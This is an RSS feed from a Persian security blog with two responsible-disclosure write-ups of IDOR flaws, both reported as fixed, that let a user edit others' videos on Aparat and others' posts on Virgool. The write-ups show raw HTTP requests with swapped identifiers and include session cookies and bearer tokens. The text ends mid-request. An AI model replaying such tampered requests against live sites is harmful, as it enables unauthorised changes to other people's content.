<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های 0xEhsan</title>
        <link>https://virgool.io/feed/@0xEhsan</link>
        <description>احسانم ، درگیر با برنامه نویسی و علاقه مند به امنیت WebApp ها</description>
        <language>fa</language>
        <pubDate>2026-06-07 03:30:33</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/26989/avatar/GSor45.png?height=120&amp;width=120</url>
            <title>0xEhsan</title>
            <link>https://virgool.io/@0xEhsan</link>
        </image>

                    <item>
                <title>چطوری من می‌تونستم با استفاده از آسیب‌پذیری IDOR هر ویدئویی رو توی آپارات ویرایش کنم؟</title>
                <link>https://virgool.io/@0xEhsan/%D8%A2%D9%BE%D8%A7%D8%B1%D8%A7%D8%AA-%D9%88-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D8%AA%D8%BA%DB%8C%DB%8C%D8%B1-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D9%88%DB%8C%D8%AF%DB%8C%D9%88-%D9%87%D8%A7-bekmwxaxozy8</link>
                <description>این نوشته مربوط به آسیب پذیری هست که در سایت آپارات کشف شد که به مهاجم دسترسی لازم برای تغییر اطلاعات ویدیو های دیگر کاربران رو میداد و در حال حاضر مرتفع شده است.امروزه کمتر کسی تو ایران پیدا میشه که با سایت آپارات آشنایی نداشته باشه ، مگر اینکه کلا تا حالا از اینترنت استفاده نکرده باشه :) ، برای شروع یه سر به سایت آلکسا میزنیم و برترین سایت های ایران رو برانداز میکنیم.https://www.alexa.com/topsites/countries/IRطبق آمار آلکسا بعد از گوگل ،آپارات پر بازدید ترین سایت توی ایران هست و تقریبا همه ی نهاد ها ، سازمان ها و شرکت دولتی و خصوصی داخل آپارات کانال رسمی دارند و لیستشون رو می تونید از لینک زیر ببنید.https://www.aparat.com/officialاین توضیحات مختصر در مورد آپارات و اما بریم سراغ اصل قضیه.روز جمعه صبح از خواب بیدار شدم و طبق معمول برای سرگرمی و لذت بردن از روز تعطیل چالش رو گذاشتم سایتی به اسم آپارات و شروع کردم.بعد از چند ساعت کار چند آسیب پذیری Client-Side از جمله Cross-Site Scripting خودمون پیدا کردم منتهی دنبال یه آسیب پذیری Server Side بودم.داخل پنل مدیریت کانال ، قسمت ویدیو های من کاربر می تونه عملیات های پایین رو روی ویدیو های کانالش اعمال کنه.حذف ویدیوافزایش بازدید ویدیو(خرید بازدید)ویرایش ویدیومشاهده آمار ویدیومن گزینه ی ویرایش ویدیو رو باز کردم و URL رو بررسی کردم.https://www.aparat.com/video/video/edit/videohash/xCuJXبا دیدن videohash متوجه شدم که هر ویدیو یه دونه hash داره که شناسه یونیک اون هست و با استفاده از اون میشه بهش دسترسی پیدا کرد ، خب سریع سناریوی تست آسیب پذیری IDOR اومد تو ذهنم.با وارد کردن videohash ویدیوی دیگه آیا میشه بهش دسترسی پیدا کرد؟!شروع کردم فاز کردن این عبارت پنج کاراکتری.12345    ---&gt;   404KXQPo(Another Hash)    ---&gt;    Redirect to https://www.aparat.com/v/KXQPo &amp; Access Denied :(با وارد کردن عبارت 12345 که ساختارش برای ویدیو هاست و با توجه به اینکه ویدیویی با این hash وجود نداشت خطای 404 داد ، در مرحله بعد hash یک ویدیوی دیگه رو وارد کردم و به صفحه ویدیو های من هدایت شدم و خطای دسترسی به این لینک مجاز نمی باشد(Access Denied) نمایش داده شد و یعنی امن هست و رفتم تا همین عملیات رو روی مرحله ی بعد از ثبت تغییرات فاز کنم.خب ادامه دادم و بعد از انتخاب ویرایش ویدیو بر روی ثبت تغییرات کلیک کردم تا ببنیم چه اطلاعاتی رو به سرور ارسال می کنه.POST /video/video/edit/videohash/xCuJX HTTP/1.1
Host: www.aparat.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://www.aparat.com
Connection: close
Referer: https://www.aparat.com/video/video/edit/videohash/xCuJX
Cookie: AuthV4=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzE5OTU3OTAsImFmY24iOiIxNTcxOTk1NzEyODkzMjQiLCJzdWIiOiIzOUIwREVDRi0wQTM4LUI2RjUtNUYyNy0zQTgxQzA0OTNBMjciLCJ0b2tlbiI6IjM3MTJhODU5MjFiOWYxNTRjYjE1ZWRkZWI0ZTdjNGMzIn0.n0RvJIfrhr-Mg5_voRckMDFptqA5w4rHVHqCplkn9A8; abui50=a; _ga=GA1.2.299084626.1571995722; _gid=GA1.2.80814475.1571995722; __asc=47211dc716e023f21c3f9f2a1e7; __auc=47211dc716e023f21c3f9f2a1e7; playIconOnHover_1=new; AFCN=157199575797924; login_from=https%3A%2F%2Fwww.aparat.com%2F; apr_lb_id=m17; _gat_UA-129578036-1=1
Upgrade-Insecure-Requests: 1

title=Pwned Video&amp;descr=its+a+test+description+for+video&amp;tag_user=tag1-tag2-tag3&amp;cat_id=2&amp;playlist=0&amp;profile_cat=0&amp;comment_enable=approve&amp;video_subtitle_file=&amp;subtitle=&amp;video_pass=statusمجددا videohash یک ویدیوی دیگه رو وارد کردم و درخواست رو ارسال کردم.و جواب بازم Access Denied بود اما متفاوت تر از دفعه ی قبل (خطای دریافتی نشون میده برنامه نویس احتمالا درست handle نکرده)، پس یعنی یه جای کار مشکل داره ، پس وارد لینک ویدیویی شدم که videohash اون رو جایگزین کرده بودم.و بــــــــــــوم!!!آسیب پذیری وجود داشت و اطلاعات ویدیوی مورد نظرم با موفقیت تغییر پیدا کرد ، در نتیجه من با  استفاده از این آسیب پذیری می تونستم هر اطلاعات هر کدوم از ویدیو های توی سایت آپارات رو تغییر بدم.لینک ویدئو اثبات آسیب‌پذیری:https://www.youtube.com/watch?v=qwgEdfnSO4cبا توجه به اینکه بسیاری از سازمان ها و شرکت های بزرگ و مهم در سایت آپارات صفحه ی رسمی داشتند مهاجمین با سوء استفاده از این آسیب پذیری می توانستند اطلاعات جعلی خود را در ویدیو های مختلف وارد کنند و به اهداف مختلف خود(فیشینگ ، تروجان و...) دست پیدا کنند.همانطور که در اول نوشتار اشاره شد این آسیب پذیری به تیم آپارات گزارش شد و در حال حاضر مرتفع شده است.</description>
                <category>0xEhsan</category>
                <author>0xEhsan</author>
                <pubDate>Fri, 25 Oct 2019 15:17:37 +0330</pubDate>
            </item>
                    <item>
                <title>چطور من میتونستم هر پستی رو تو ویرگول ویرایش کنم؟</title>
                <link>https://virgool.io/@0xEhsan/%DA%86%D8%B7%D9%88%D8%B1-%D9%85%D9%86-%D9%85%DB%8C%D8%AA%D9%88%D9%86%D8%B3%D8%AA%D9%85-%D9%87%D8%B1-%D9%BE%D8%B3%D8%AA%DB%8C-%D8%B1%D9%88-%D8%AA%D9%88-%D9%88%DB%8C%D8%B1%DA%AF%D9%88%D9%84-%D9%88%DB%8C%D8%B1%D8%A7%DB%8C%D8%B4-%DA%A9%D9%86%D9%85-ujjpaessxgz0</link>
                <description>این نوشته مربوط به یک آسیب پذیری هست که تو ویرگول کشف کردم و در حال حاضر مرتفع شده.در حال بررسی امکانات سایت ویرگول بودم که نوبت به قسمت نوشتن پست جدید رسید و شروع کردم به وارد کردن عنوان و متن نوشته که متوجه تغییر متن کنار لوگوی ویرگول شدم که بعد از هر چند کلمه نوشتن و ایستادن به در حال ذخیره... و سپس به ذخیره شده تغییر پیدا می کرد.متوجه شدم که ویرگول بعد از هر تغییر در نوشته ، نتیجه رو ارسال میکنه و به حالت پیش نویس ذخیره میکنه ، کنجکاو شدم ببینم که این درخواست هایی که برای ذخیره لحظه ای متن ارسال می شدند به چه صورتی هستند؟! ، پس یک درخواست رو گرفتم و بررسی کردم.درخواست:POST /api/v1.2/editor/draft HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/d/pcoljm27ttep/edit
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0
X-XSRF-TOKEN: eyJpdiI6Imx1Unh5WThheVpQMklRSTJmRWtyMmc9PSIsInZhbHVlIjoiWEFRNHhMXC8yYVBwQkY2UUJqZzJRMjVCelBXK2hvWjdRVjdJUm5EbThxWHdZY0xQOVFheTFtVDRNREhTRmhkWkoiLCJtYWMiOiJmYWY2OThlODIxN2I3MTIzZWNkYjdlYjEwMDM2YjkwNDQxNWZiMDYyNWQzNTk5MmU0ZDg0MWExY2M5YTU2MzE4In0=
Content-Length: 204
DNT: 1
Connection: close
Cookie: PHPSESSID=8g3n4cpsnlgjdoi3jq3ftpjcqe; XSRF-TOKEN=eyJpdiI6Imx1Unh5WThheVpQMklRSTJmRWtyMmc9PSIsInZhbHVlIjoiWEFRNHhMXC8yYVBwQkY2UUJqZzJRMjVCelBXK2hvWjdRVjdJUm5EbThxWHdZY0xQOVFheTFtVDRNREhTRmhkWkoiLCJtYWMiOiJmYWY2OThlODIxN2I3MTIzZWNkYjdlYjEwMDM2YjkwNDQxNWZiMDYyNWQzNTk5MmU0ZDg0MWExY2M5YTU2MzE4In0%3D; vrgl_sess=eyJpdiI6ImZtUUVcL08rSGtYXC9MMExBc2hqWVg4Zz09IiwidmFsdWUiOiJKOERNM2w1NlM4WXdWU3huTVJEMzBlcWZBNFZacStqMnpTQ1RtSnR3VVVyWGtoTXQ4M3RXdUxJUDhneU5sVVpJIiwibWFjIjoiN2JhYzY3OTFlNGQ5NWY4YTE5MTNhMDc2ZjBiNDEzOTkzYTJmY2FmOTM0ZmEzNTIzY2U4YzlhMmQ0ZmNkMjRjNyJ9; rec=eyJpdiI6ImhKZCtHa1hMVHpiV2dvSERcLysrVk5nPT0iLCJ2YWx1ZSI6IlM0Tnh3RDdcL2VmZWgzeEhlNDVSNkpBPT0iLCJtYWMiOiJkYmVkMjY0ZDQ0NTYyOGY2NzBlNTMxMDAzZDIxNTgyMDIyZTEwYjMxOWM2NDk2MGI2YTcyOWM1YmU0MGU2ZjBiIn0%3D; _hp2_id.2248261963=%7B%22userId%22%3A%227281601450853186%22%2C%22pageviewId%22%3A%228971263574404344%22%2C%22sessionId%22%3A%224648087988148446%22%2C%22identity%22%3Anull%2C%22trackerVersion%22%3A%224.0%22%7D; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0; jwts=eyJpdiI6ImdFTGU5K0NUYWRjZnhTV1M1cjhvWmc9PSIsInZhbHVlIjoiNWhKeFROdFhpYUFLNmtIU3NZVVZoNWNTQVp1c2U5Sk5oREorY1JYNkJlVk10OEp6UlgrMmQ4ZldPeXFqbTBqRiIsIm1hYyI6IjgwMjU5ZDYxMTQ1MDk1MTRhOGMzYTBiMDA5NTA4NGM1YTI1OGUyZGQ1ZDdlOTA5ZGM0MDEwZjkzMDVjYmQwN2IifQ%3D%3D; uid=yttbeijzgh5z; _vcfg=%7B%22tpcs_c%22%3A49%7D; __cfduid=de6fe6ac80c6fe23e181108c89940a6871563192046; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; _hp2_ses_props.2248261963=%7B%22ts%22%3A1563215804535%2C%22d%22%3A%22virgool.io%22%2C%22h%22%3A%22%2F%22%7D; G38lFwkS5Dq=eyJpdiI6Ilh5bWRlODdUeVdTR0xBZUhkdEx0R0E9PSIsInZhbHVlIjoiOWt5dlVWOVwveXc4SzB2a1gyTDBiZm4xSU1aTnlINGVmcEZydkQ3dEF2Q2E2Y0Q5TjBnMFNoN2FUVXpVWFJXaXkiLCJtYWMiOiI4MWJkMWQ5Nzg1ZjFhNzMxYWQxNWQ1MGQyN2ZiYjJlMmI4MzVjNWM1MTY1ZDNkMWQxNGM5ZGUxZDE0NDAxZTI3In0%3D

{&quot;post_id&quot;:&quot;&quot;,&quot;hash&quot;:&quot;pcoljm27ttep&quot;,&quot;title&quot;:&quot;Hello World&quot;,&quot;tag&quot;:&quot;&quot;,&quot;body&quot;:&quot;&lt;p class=\&quot;md-block-unstyled\&quot;&gt;Hello Virgool.io. Its a sample post. &lt;/p&gt;&quot;,&quot;words_count&quot;:6,&quot;og_description&quot;:&quot;&quot;,&quot;primary_img&quot;:null}جواب:HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Mon, 15 Jul 2019 18:58:56 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 997
Set-Cookie: vrgl_sess=eyJpdiI6IndXalBmRGRZcFZHSXV4cis1V2VrUEE9PSIsInZhbHVlIjoidUFHTFlrcUJSNytjc3BcL0tIWEk5cGxQazE3b3BZZ25uRVRuVGdNQXZZWkJTSCtvUEJpTEcrNlFISSt4VjdrNnUiLCJtYWMiOiIxYjRhMmIyNWVlN2YzN2ViNzA0YjgwNWE5NjU1OTE0MzZkMzI1MzUzZThmMmMwYTE5YzFiNzc5MGU0NjQ5YTc2In0%3D; expires=Tue, 16-Jul-2019 18:50:28 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 16

{&quot;success&quot;:true}درخواست ارسالی اطلاعات رو در قالب JSON ارسال می کرد پس من اون رو مرتب کردم تا بهتر ببینم.{   &quot;post_id&quot;:&quot;&quot;,
   &quot;hash&quot;:&quot;pcoljm27ttep&quot;,
   &quot;title&quot;:&quot;Hello World&quot;,
   &quot;tag&quot;:&quot;&quot;,
   &quot;body&quot;:&quot;&lt;p class=\&quot;md-block-unstyled\&quot;&gt;Hello Virgool.io. Its a sample post. &lt;/p&gt;&quot;,
   &quot;words_count&quot;:6,
   &quot;og_description&quot;:&quot;&quot;,
   &quot;primary_img&quot;:null
}بین اطلاعات ارسالی hash توجهم رو جلب کرد و پس از بررسی متوجه شدم که هر پست یه شناسه داره و که آخر لینک هر پست قرار می گیره ، برای نمونه لینک زیر:https://virgool.io/@virgool/آمار-بازدید-مطالب-من-در-سال-۹۷-ew5ikbzdsebtخب فاز کردن hash رو شروع کردم و نتایج به صورت زیر بود:123test    ---&gt;    {&quot;success&quot;:true,&quot;statusCode&quot;:&quot;200&quot;,&quot;data&quot;:{&quot;hash&quot;:&quot;123&quot;}}
test ---&gt;    {&quot;success&quot;:true,&quot;statusCode&quot;:&quot;200&quot;,&quot;data&quot;:{&quot;hash&quot;:&quot;test&quot;}}
test ---&gt;    {&quot;success&quot;:true}به قسمت پیش نویس ها رفتم و نتیجه به شکل زیر بود.تو مرحله ی اولیه فازینگ متوجه شدم که کنترلی روی ورودی وجود نداره! در نتیجه میشد با شناسه ی مورد نظر خودم هر پیش نویسی ایجاد کنم.ولی آیا مرحله ی بعد یعنی انتشار پست هم به همین صورت هست؟!روی نوشتن پست جدید کلیک کردم و عنوان و متن پست رو وارد کردم و روی انتشار نوشته کلیک کردم.درخواست:POST /api/v1.2/editor/publish HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/d/pcoljm27ttep/edit
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0
X-XSRF-TOKEN: eyJpdiI6InFZczd6VmduMzRka3Y5eVBZcVwvY3RnPT0iLCJ2YWx1ZSI6IlwvNUlCMlpLNG80Nm1TdHUzRlNZUXhlZjk1R2NSZHdmMURyXC8zaHdWbWg1S1FNVUlpUWhqc0ZxVlZWcnNMV0FkNSIsIm1hYyI6IjczOGYyMGUzMjkxODY2MTQ3ZmY5M2YzOWMxMDI3OGIzM2U2NDkyZTMxYTkwZGFmNWM0ODBmYTkxZGIxZGY1YjkifQ==
Content-Length: 833
DNT: 1
Connection: close
Cookie: PHPSESSID=8g3n4cpsnlgjdoi3jq3ftpjcqe; XSRF-TOKEN=eyJpdiI6InFZczd6VmduMzRka3Y5eVBZcVwvY3RnPT0iLCJ2YWx1ZSI6IlwvNUlCMlpLNG80Nm1TdHUzRlNZUXhlZjk1R2NSZHdmMURyXC8zaHdWbWg1S1FNVUlpUWhqc0ZxVlZWcnNMV0FkNSIsIm1hYyI6IjczOGYyMGUzMjkxODY2MTQ3ZmY5M2YzOWMxMDI3OGIzM2U2NDkyZTMxYTkwZGFmNWM0ODBmYTkxZGIxZGY1YjkifQ%3D%3D; vrgl_sess=eyJpdiI6Ik94VkV3MTlxSzF3bXJvR2gzNml3WVE9PSIsInZhbHVlIjoib2VQTTgzSERleXJXbHhnWDhjNlU5UnJ0XC9xYVVKYzhydVwvVDl3bEs0SENmNWFTZFwvY2ZkamE4ZnEzbm9yYmJXZyIsIm1hYyI6ImJjZTcyZTI4MmU4ZDk3OGM5MDFmYWI2MjgyNzQwNTM2NGYwNjY5OGU2M2QwNTM2ZThkMTk2ZjUzOWM3MWYxYzEifQ%3D%3D; rec=eyJpdiI6ImhKZCtHa1hMVHpiV2dvSERcLysrVk5nPT0iLCJ2YWx1ZSI6IlM0Tnh3RDdcL2VmZWgzeEhlNDVSNkpBPT0iLCJtYWMiOiJkYmVkMjY0ZDQ0NTYyOGY2NzBlNTMxMDAzZDIxNTgyMDIyZTEwYjMxOWM2NDk2MGI2YTcyOWM1YmU0MGU2ZjBiIn0%3D; _hp2_id.2248261963=%7B%22userId%22%3A%227281601450853186%22%2C%22pageviewId%22%3A%222141144530700276%22%2C%22sessionId%22%3A%221736030237244822%22%2C%22identity%22%3Anull%2C%22trackerVersion%22%3A%224.0%22%7D; auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0; jwts=eyJpdiI6ImdFTGU5K0NUYWRjZnhTV1M1cjhvWmc9PSIsInZhbHVlIjoiNWhKeFROdFhpYUFLNmtIU3NZVVZoNWNTQVp1c2U5Sk5oREorY1JYNkJlVk10OEp6UlgrMmQ4ZldPeXFqbTBqRiIsIm1hYyI6IjgwMjU5ZDYxMTQ1MDk1MTRhOGMzYTBiMDA5NTA4NGM1YTI1OGUyZGQ1ZDdlOTA5ZGM0MDEwZjkzMDVjYmQwN2IifQ%3D%3D; uid=yttbeijzgh5z; _vcfg=%7B%22tpcs_c%22%3A49%7D; __cfduid=de6fe6ac80c6fe23e181108c89940a6871563192046; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; G38lFwkS5Dq=eyJpdiI6Ilh5bWRlODdUeVdTR0xBZUhkdEx0R0E9PSIsInZhbHVlIjoiOWt5dlVWOVwveXc4SzB2a1gyTDBiZm4xSU1aTnlINGVmcEZydkQ3dEF2Q2E2Y0Q5TjBnMFNoN2FUVXpVWFJXaXkiLCJtYWMiOiI4MWJkMWQ5Nzg1ZjFhNzMxYWQxNWQ1MGQyN2ZiYjJlMmI4MzVjNWM1MTY1ZDNkMWQxNGM5ZGUxZDE0NDAxZTI3In0%3D; _hp2_ses_props.2248261963=%7B%22r%22%3A%22https%3A%2F%2Fvirgool.io%2Fsearch%3Fq%3D%25D9%2588%25DB%258C%25D8%25B1%25DA%25AF%25D9%2588%25D9%2584%2B%25D8%25B3%25D8%25A7%25D9%2584%25D9%2587%2B%25D8%25B4%25D8%25AF%22%2C%22ts%22%3A1563219763200%2C%22d%22%3A%22virgool.io%22%2C%22h%22%3A%22%2F%40virgool_ir%22%7D

{&quot;post_id&quot;:&quot;&quot;,&quot;hash&quot;:&quot;pcoljm27ttep&quot;,&quot;title&quot;:&quot;Hello World&quot;,&quot;body&quot;:&quot;&lt;p class=\&quot;md-block-unstyled\&quot;&gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#039;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.&lt;/p&gt;&quot;,&quot;slug&quot;:&quot;hello-world&quot;,&quot;tag&quot;:&quot;&quot;,&quot;words_count&quot;:6,&quot;og_description&quot;:null,&quot;primary_img&quot;:null}جواب:HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Mon, 15 Jul 2019 20:00:49 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 994
Set-Cookie: vrgl_sess=eyJpdiI6ImFPa01wQ2ZzWjRESHdoM1lkbEx2ZFE9PSIsInZhbHVlIjoiVzdlZU9oK1lENFZsOE9cL0NuNHVocVRyNWNaYWxGeUZuc203THpMa21YUDZLVFhxbGYxaDIwbzVHSlVwZWk4Z1wvIiwibWFjIjoiMDViMGZlNWVmYzNlMDFjMDI1ZDllZDBiZjI2ZDg0YmI4Y2FhZTViNDZlNWU4N2U4YjYzYThiY2MzNWJmMTc5MSJ9; expires=Tue, 16-Jul-2019 20:09:17 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src &#039;self&#039; files.virgool.io blob:; connect-src &#039;self&#039; https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src &#039;self&#039; data: https://virgool.io;  img-src blob: data: https: &#039;self&#039; files.virgool.io https://www.google-analytics.com; object-src &#039;self&#039; virgool.io; media-src cdn.virgool.io; script-src &#039;self&#039; blob: https://virgool.io &#039;unsafe-eval&#039; &#039;unsafe-inline&#039; www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: &#039;self&#039;; style-src &#039;unsafe-inline&#039; data: https: &#039;self&#039;; frame-src &#039;self&#039; cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: &#039;self&#039;; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 190

{&quot;success&quot;:&quot;\u067e\u0633\u062a \u0634\u0645\u0627 \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0634\u062f&quot;,&quot;post_slug&quot;:&quot;hello-world-pcoljm27ttep&quot;}اطلاعات پست مجددا تو قالب JSON ارسال شدن و توی جواب پیام موفقیت آمیز بودن و آدرس پست(slug) رو برگردونند.JSON ارسالی رو مرتب کردم و شروع به بررسی کردم.{  &quot;post_id&quot;:&quot;&quot;,
   &quot;hash&quot;:&quot;pcoljm27ttep&quot;,
   &quot;title&quot;:&quot;Hello World&quot;,
   &quot;body&quot;:&quot;&lt;p class=\&quot;md-block-unstyled\&quot;&gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#039;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.&lt;/p&gt;&quot;,
    &quot;slug&quot;:&quot;hello-world-pcoljm27ttep&quot;,
   &quot;tag&quot;:&quot;&quot;,
   &quot;words_count&quot;:6,
   &quot;og_description&quot;:null,
   &quot;primary_img&quot;:null
}دیدم که علاوه بر hash ، مقدار slug یا همون آدرس پست هم ارسال میشه، از اونجایی که تو فازینگ hash تو پیشنویس متوجه شدم کنترلی روی ورودی hash نیست سناریوی زیر اومد تو ذهنم :)اگه hash و slug یه پست دیگه رو بفرستم چی؟! پست ویرایش میشه یا خطا میده ؟!پس یکم محتوای پست رو تغییر دادم :) و hash و slug یه پست دیگه رو از لینکش برداشتم و جایگزین کردم و ارسال کردم.درخواست:POST /api/v1.2/editor/publish HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/d/pcoljm27ttep/edit
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvdmlyZ29vbC5pb1wvYXBpXC92MS4yXC9sb2dpbiIsImlhdCI6MTU2MzE5MjAzOSwiZXhwIjoxNTg2ODQ0MDM5LCJuYmYiOjE1NjMxOTIwMzksImp0aSI6InhjYlZBdkVuUGhiNzJWbjAiLCJzdWIiOjI2OTg5LCJwcnYiOiI4N2UwYWYxZWY5ZmQxNTgxMmZkZWM5NzE1M2ExNGUwYjA0NzU0NmFhIn0
X-XSRF-TOKEN: eyJpdiI6InFZczd6VmduMzRka3Y5eVBZcVwvY3RnPT0iLCJ2YWx1ZSI6IlwvNUlCMlpLNG80Nm1TdHUzRlNZUXhlZjk1R2NSZHdmMURyXC8zaHdWbWg1S1FNVUlpUWhqc0ZxVlZWcnNMV0FkNSIsIm1hYyI6IjczOGYyMGUzMjkxODY2MTQ3ZmY5M2YzOWMxMDI3OGIzM2U2NDkyZTMxYTkwZGFmNWM0ODBmYTkxZGIxZGY1YjkifQ==
Content-Length: 833
DNT: 1
Connection: close
